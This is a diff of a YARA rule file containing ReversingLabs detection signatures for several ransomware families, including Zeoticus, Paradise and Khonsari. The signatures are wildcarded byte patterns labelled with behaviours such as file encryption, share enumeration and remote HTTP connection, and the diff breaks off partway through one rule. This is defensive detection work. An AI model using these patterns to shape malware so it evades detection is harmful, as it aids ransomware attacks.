-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Zeoticus.yara#L1-L90"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "adf42b96139ad98f4253f3eba2c4af1be9545825605e0851185cc15284d9e9a0"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Zeoticus"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$enum_shares_p1 = {
-            53 55 8B 2D ?? ?? ?? ?? 8B C1 56 57 8B 3D ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 4C 24 ?? 51
-            8D 4C 24 ?? 51 6A ?? 8D 4C 24 ?? 51 6A ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 74
-            ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 83 7C 24 ?? ?? 8B 5C 24 ?? 89 5C 24 ?? C7 44 24
-            ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 33 F6 39 73 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0
-            0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 33 FF D5 85 C0 0F 84 ?? ?? ?? ?? FF 33 8D 44 24
-            ?? FF 74 24 ?? 68 ?? ?? ?? ?? 50 FF D7 A1 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51
-        }
-		$enum_shares_p2 = {
-            50 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 56 FF 34
-            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 56 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ??
-            ?? ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 FF 85 C0 7E ?? 8D
-            5F ?? 8D 44 24 ?? 50 FF 34 BD ?? ?? ?? ?? FF D5 85 C0 0F 44 F3 47 3B 3D ?? ?? ?? ??
-            7C ?? 8B 5C 24 ?? 85 F6 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 0D ?? ??
-            ?? ?? 8B 3D ?? ?? ?? ?? 89 04 8D ?? ?? ?? ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 50 FF D7
-            A1 ?? ?? ?? ?? 83 C4 ?? 8D 04 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 6A ?? FF 34 85 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 04 8D ?? ??
-            ?? ?? 41 FF 05 ?? ?? ?? ?? 89 0D ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 8B 74 24 ?? 83
-            C3 ?? 46 89 5C 24 ?? 89 74 24 ?? 3B 74 24 ?? 0F 82 ?? ?? ?? ?? 8B 5C 24 ?? 53 FF 15
-            ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 0F 84 ?? ?? ?? ?? 5F 5E 5D 5B 81 C4
-            ?? ?? ?? ?? C3
-        }
-		$encrypt_files = {
-            68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? A3 ?? ??
-            ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ??
-            83 C4 ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D7 83
-            C4 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D
-            04 45 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ??
-            FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 83 FB ?? 75 ?? E8 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? 6A ?? 6A ?? 68 ?? ?? ?? ??
-            56 6A ?? FF 35 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 E8 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? FF B4 24 ?? ?? ?? ?? 51 E8 ?? ?? ??
-            ?? 83 C4 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8
-        }
-		$find_files = {
-            81 EC ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 01
-            83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ?? ?? 56 8D 71 ?? 0F 85 ?? ?? ?? ??
-            55 8B 2D ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 66 90 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ??
-            66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 66 83 7C 74
-            ?? ?? 0F 85 ?? ?? ?? ?? 33 C0 66 89 44 74 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
-            8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 66 89 4C 74 ?? 85 C0 74 ?? 33 F6 90
-            FF 34 B5 ?? ?? ?? ?? FF D7 83 F8 ?? 74 ?? 46 83 FE ?? 72 ?? 8D 44 24 ?? 50 FF 34 B5
-            ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D
-            4C 24 ?? 8D 51 ?? 66 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 66 83 7C 24 ??
-            ?? 8D 71 ?? 0F 84 ?? ?? ?? ?? 5F 5D 53 FF 15 ?? ?? ?? ?? 5E 5B 81 C4 ?? ?? ?? ?? C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ( all of ($enum_shares_p*))
-}
-rule REVERSINGLABS_Win32_Ransomware_Garrantydecrypt : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects GarrantyDecrypt ransomware."
-		author = "ReversingLabs"
-		id = "0aa05f06-1773-5ce8-892d-04468f5deccc"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.GarrantyDecrypt.yara#L1-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7194c1e0e15a89f2c691a7d586b9db68295cc52a5f042d0f7eb558c326430444"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "GarrantyDecrypt"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 8D 45 ?? 50 89 5D ?? FF D6 85 C0 75
-            ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 45 ?? 50 FF D6 85 C0 74 ?? 8B 45 ?? A3 ?? ?? ?? ??
-            3B C3 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 3B F3 0F 84 ?? ?? ?? ?? 8B 7E ?? 8B 46
-            ?? 33 C9 3B FB 76 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 29 45 ?? 8B 55 ?? 8D 84 0D ?? ?? ??
-            ?? 8A 14 02 41 88 10 3B CF 72 ?? 68 ?? ?? ?? ?? 53 53 FF 76 ?? FF 36 FF 35 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 3B FB 74 ?? 8B 46 ?? 68 ?? ?? ?? ?? 89 45
-            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B
-            45 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 36 E8
-            ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 53 FF
-            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF 15
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB 53 53 8D 45 ?? 50 89 5D ?? FF D6 85 C0 75
+            ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 45 ?? 50 FF D6 85 C0 74 ?? 8B 45 ?? A3 ?? ?? ?? ??
+            3B C3 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 3B F3 0F 84 ?? ?? ?? ?? 8B 7E ?? 8B 46
+            ?? 33 C9 3B FB 76 ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 29 45 ?? 8B 55 ?? 8D 84 0D ?? ?? ??
+            ?? 8A 14 02 41 88 10 3B CF 72 ?? 68 ?? ?? ?? ?? 53 53 FF 76 ?? FF 36 FF 35 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 3B FB 74 ?? 8B 46 ?? 68 ?? ?? ?? ?? 89 45
+            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 53 6A ?? 53 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B
+            45 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? FF 36 E8
+            ?? ?? ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 53 FF
+            35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 53 FF 15
         }
 		$encrypt_files_p2 = {
             55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8D 45 ?? 50 6A ?? 5F 57 FF 35 ?? ?? ?? ?? FF 15
@@ -38999,18 +39460,18 @@ rule REVERSINGLABS_Win32_Ransomware_Garrantydecrypt : TC_DETECTION MALICIOUS MAL
 	condition:
 		uint16(0)==0x5A4D and $find_files and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Chichi : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Paradise : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects ChiChi ransomware."
+		description = "Yara rule that detects Paradise ransomware."
 		author = "ReversingLabs"
-		id = "95062789-a55d-5c1c-a359-206b58f311e5"
-		date = "2022-02-14"
-		modified = "2022-02-14"
+		id = "9a92a05c-5f26-59ed-9934-a24bb7c31d8d"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.ChiChi.yara#L1-L66"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "863a30e4c708e13ea0f4c6ad42a919de463926508783d6552c0cec746730baa5"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Paradise.yara#L1-L81"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fc029bee999ec72416ac91d8386d4d270070035ad078bcab1dec11eea032c10b"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -39018,46 +39479,131 @@ rule REVERSINGLABS_Win32_Ransomware_Chichi : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "ChiChi"
+		tc_detection_name = "Paradise"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$generate_key = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
-            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 8B 7D ?? C7 45 ?? ?? ?? ?? ?? 89 7D ?? 85
-            FF 75 ?? 33 F6 EB ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 89 75 ?? 6A ?? 8D 4D ?? C7 45
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 8D
-            4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 85 C0 74
-            ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B 03 8B CB 57 56 FF 50 ?? C7 45 ?? ?? ?? ?? ?? 85 F6
-            74 ?? 83 FF ?? 8D 45 ?? 8D 4D ?? 8B FE 0F 46 C8 32 C0 56 8B 09 F3 AA E8 ?? ?? ?? ??
-            83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C2
+		$search_files = {
+            53 56 57 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
+            ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 89 75 ?? 85 F6
+            0F 84 ?? ?? ?? ?? FF 75 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 53 56 FF
+            D7 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ??
+            ?? ?? 83 65 ?? ?? 8B 45 ?? 8B 74 85 ?? 8D 95 ?? ?? ?? ?? 85 F6 74 ?? 0F B7 02 83 F8
+            ?? 72 ?? 8D 48 ?? 83 F8 ?? 76 ?? 8B C8 0F B7 06 83 F8 ?? 72 ?? 83 F8 ?? 77 ?? 83 C0
+            ?? 3B C8 0F B7 02 75 ?? 66 85 C0 74 ?? 83 C2 ?? 83 C6 ?? EB ?? 0F B7 02 EB ?? 66 3B
+            06 1B C0 83 E0 ?? 40 EB ?? 33 C0 85 C0 0F 84 ?? ?? ?? ?? FF 45 ?? 83 7D ?? ?? 72 ??
+            8B 75 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? 68 ?? ?? ?? ?? 53 56 FF D7 83 C4 ?? F6 85 ??
+            ?? ?? ?? ?? 74 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 80 3D ?? ?? ?? ?? ?? 74 ?? BA
+            ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? EB ?? F6 85 ?? ?? ??
+            ?? ?? 74 ?? A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ??
+            85 C0 75 ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ??
+            ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? 68
+            ?? ?? ?? ?? 53 FF 75 ?? FF D7 83 C4 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ??
+            ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 5F 5E 5B C9 C3
         }
-		$encrypt_files = {
-            55 8B EC 51 53 56 57 8B D9 68 ?? ?? ?? ?? 53 89 5D ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ??
-            ?? ?? 53 FF D6 68 ?? ?? ?? ?? 8B F8 FF D6 8B 1D ?? ?? ?? ?? 03 F8 03 FF 83 C7 ?? 57
-            6A ?? FF 35 ?? ?? ?? ?? FF D3 8B F0 85 F6 74 ?? 8B 7D ?? 57 56 FF 15 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 5B
-            8B E5 5D C3 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ??
-            ?? 56 6A ?? FF 35 ?? ?? ?? ?? 8B F8 FF 15 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B CF E8 ?? ??
-            ?? ?? 5F 5E 5B 8B E5 5D C3 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3
+		$encrypt_files_p1 = {
+            56 57 6A ?? BE ?? ?? ?? ?? 5F E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 56 E8 ?? ??
+            ?? ?? 83 C4 ?? 83 C6 ?? 4F 75 ?? 33 F6 39 75 ?? 74 ?? 8D 45 ?? 50 A1 ?? ?? ?? ?? 0F
+            B7 88 ?? ?? ?? ?? 56 56 51 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 59 89 4D
+            ?? 33 C0 8A 90 ?? ?? ?? ?? 88 90 ?? ?? ?? ?? 3B C6 75 ?? 33 C0 40 3B C1 72 ?? 68 ??
+            ?? ?? ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 5F 5E C9 C3 56 FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15
+        }
+		$encrypt_files_p2 = {
+            53 56 57 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 33 DB
+            53 53 8D 44 24 ?? 50 89 5C 24 ?? FF D6 85 C0 75 ?? 68 ?? ?? ?? ?? 6A ?? 53 53 8D 44
+            24 ?? 50 FF D6 85 C0 75 ?? 89 5C 24 ?? 39 5C 24 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 0F B6 80 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
+            74 24 ?? E8 ?? ?? ?? ?? 59 53 FF 74 24 ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 53 53
+            53 53 C6 05 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 88 1D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 59 33 C0 88 98 ?? ?? ?? ?? 3B C3 75 ?? 33 C0 40 83 F8 ?? 72 ?? 6A ?? 5E
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4
+            ?? 6A ?? 53 53 8D 44 24 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 4E 75 ?? 8B 3D ??
+            ?? ?? ?? 81 C7 ?? ?? ?? ?? 6A ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 75 ?? 57 E8
+            ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3
+        }
+		$http_remote_connection = {
+            53 56 57 FF 75 ?? 33 FF 8D 75 ?? 89 7D ?? E8 ?? ?? ?? ?? 59 89 7D ?? 57 57 57 FF 75
+            ?? 57 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 FF 75 ??
+            FF 75 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 33 C9 80 7D ?? ?? 57
+            0F 95 C1 B8 ?? ?? ?? ?? 49 23 C8 03 C8 51 57 57 57 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ??
+            FF 15 ?? ?? ?? ?? 8B D8 3B DF 74 ?? 57 57 57 57 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33
+            F6 57 57 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 03 C6 3B C7
+            75 ?? 89 7D ?? EB ?? 50 39 7D ?? 75 ?? E8 ?? ?? ?? ?? 59 EB ?? FF 75 ?? 6A ?? FF 15
+            ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 75 ?? 8B 45 ?? 03 C6 50 53
+            FF 15 ?? ?? ?? ?? 03 75 ?? 39 7D ?? 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 39 7D ?? 75 ?? 33 C0 40 39 45 ?? 74 ?? 89 45 ?? E9
+            ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 5F 5E 5B
+            C9 C3
         }
+
+	condition:
+		uint16(0)==0x5A4D and $search_files and $http_remote_connection and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Khonsari : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Khonsari ransomware."
+		author = "ReversingLabs"
+		id = "c3c64256-af1f-5a9d-8a59-8d72993bb8da"
+		date = "2022-01-27"
+		modified = "2022-01-27"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Khonsari.yara#L1-L68"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "f1003b7863215bcd8e5cdce8ce40551105fb668ea2b8ac765909f9fa5373e6ca"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Khonsari"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
 		$find_files = {
-            6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 56 FF 15 ??
-            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 74 24 ?? 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF
-            D7 8D 44 24 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84
-            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 F6 FF B6 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? FF 74 24 ?? 8B 74 24 ??
-            56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 56 FF 15 ??
-            ?? ?? ?? F6 44 24 ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 83 E8 ?? 78 ?? 66 83
-            7C 44 ?? ?? 74 ?? 83 E8 ?? 79 ?? EB ?? 8D 74 24 ?? 8D 34 46 68 ?? ?? ?? ?? 56 FF 15
-            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84
+            73 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ?? ?? ?? ??
+            13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 0B
+            16 0C 2B ?? 07 08 9A 0D 09 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 72 ??
+            ?? ?? ?? 13 ?? 11 ?? 13 ?? 11 ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 06 09
+            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 17 58 0C 08 07 8E 69 32 ?? 06 1B 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            06 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 11
+            ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            06 6F ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 2D ?? 00 11
